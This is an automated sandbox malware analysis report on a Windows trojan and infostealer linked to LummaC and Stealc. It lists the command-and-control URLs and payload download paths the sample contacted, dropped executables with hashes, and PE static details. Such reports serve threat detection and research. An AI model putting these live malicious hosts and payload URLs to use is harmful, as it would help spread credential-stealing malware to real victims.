http://crl.rootca1.amazontrust.com/rootca1.crl0	w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001034000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/G3	w23Vg439U1.exe, 00000000.00000003.1617363532.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651203923.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554798503.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552536345.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552710221.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552677399.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1600964389.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1552798215.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617703017.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576619159.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576947040.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php2	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.microp	w23Vg439U1.exe, 00000000.00000003.1601052092.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651432993.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617761397.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/?	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/gr#	w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz:443/api	w23Vg439U1.exe, 00000000.00000003.1617761397.000000000169B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1530604207.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe)	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz//	w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpF	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001034000.00000004.00000020.00020000.00000000.sdmp, O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpR	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.150.173	cuddlyready.xyz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579749
Start date and time:	2024-12-23 08:30:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w23Vg439U1.exe renamed because original name is a hash value
Original Sample Name:	221c8ac3ed6f410d8b286790034f8e4e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target O4784SI9RJ8L8V71YQA7V.exe, PID 1220 because there are no executed function
Execution Graph export aborted for target w23Vg439U1.exe, PID 3600 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:31:21	API Interceptor	25x Sleep call for process: w23Vg439U1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.150.173	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Trojan.DownLoaderNET.943.16578.26938.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL- Shipping invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
185.215.113.206	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cuddlyready.xyz	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
WHOLESALECONNECTIONSNL	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3OJIEMQOE0U9W5K609DU0.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Download File

Process:	C:\Users\user\Desktop\w23Vg439U1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2765312
Entropy (8bit):	6.472048555078744
Encrypted:	false
SSDEEP:	49152:7BHOMBnHvofpeKjh8RoNjIS1q4G0cL0+3JLmswbFze:71OMBnHvoUKaRoJIS1q4GNwFze
MD5:	579641D4119C3977AA3E5FDCBB740D8B
SHA1:	F1AAC5BF32B9121D64D71B41A0493525862AE82D
SHA-256:	2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
SHA-512:	50793412314B014BD779FC76AB1D59A87C6ED0DECD4550FF0C90190E53FFDA014EA51EC63B6D9C4B2A9D12B5341A19A079EB95A44DF5AC1E414C40BAB72D2094
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...brdofphe..).......)..h..............@...pzoalvov. ...`....................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe

Download File

Process:	C:\Users\user\Desktop\w23Vg439U1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.4743871893569205
Encrypted:	false
SSDEEP:	49152:kSmc33xGO68K1vu9T+TS6fZ0pZxvPFfJi+1hSdY:kRqhG5P1vu9T+m6fZ2xvNj1hSdY
MD5:	59729E914FA8E15D347129643C03AC1F
SHA1:	80ACB4BE6A6534FB8DE67CAAFEE13A03D9E15754
SHA-256:	E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
SHA-512:	B592B27B3DB5B041D1D45B206239FFD4B37C051AEB6EA0E74E57623920E15CB18F12696E596EAEB5788D57629917F9D8324C588EF8A62D6F470173795CA79B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......pN...........@...........................N......L+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ynqricro..)...$...)..\|..............@...wjlvyldl.....`N.......+.............@....taggant.0...pN.."..."+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950113517717937
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	w23Vg439U1.exe
File size:	1'835'008 bytes
MD5:	221c8ac3ed6f410d8b286790034f8e4e
SHA1:	ccc959a9b59cd3f3d3505dc2f3d8c0c3749f3bd5
SHA256:	35324932e2366dc2e417a8aea865d24f7362a88352b7d52438e80e30acbbbe85
SHA512:	ff46a974790419a30e1016610dc7f65003b3ad14e19373cba7cb72084268267578eb7cd9b4eeb540e2c3c05df41a67892781ebbdf3a75aded59da5ca0d55e629
SSDEEP:	49152:7GpEvhhiXnSshVWEDIrKc7qV9UXWq3OxXeHK5llsmhZp:7EEvgS3Uc7qV9dq3QiK5BhZp
TLSH:	E08533C9AE459F96F491063DB4F39B1006B8B3A8B5BC3AF5CF9106F41A57F26038DA50
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................H...........@.......................... I......>....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x88f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F71648669FAh
pmaxub mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
and al, 91h
bound ecx, dword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	d880eb364756f1dadeda358c4891483a	False	0.9974248180650684	data	7.979559418564364	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a2000	0x200	4bee1b8fcbe326efc72a5f0334d6a5ef	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pbhclupd	0x2f6000	0x198000	0x197a00	c29a96ccd7005fe01889c0c2331d7ed5	False	0.9946922435602575	data	7.9548690606727686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hkwyikci	0x48e000	0x1000	0x600	0b48a057938d1d4effc997b5209cf408	False	0.595703125	data	5.132671146533648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
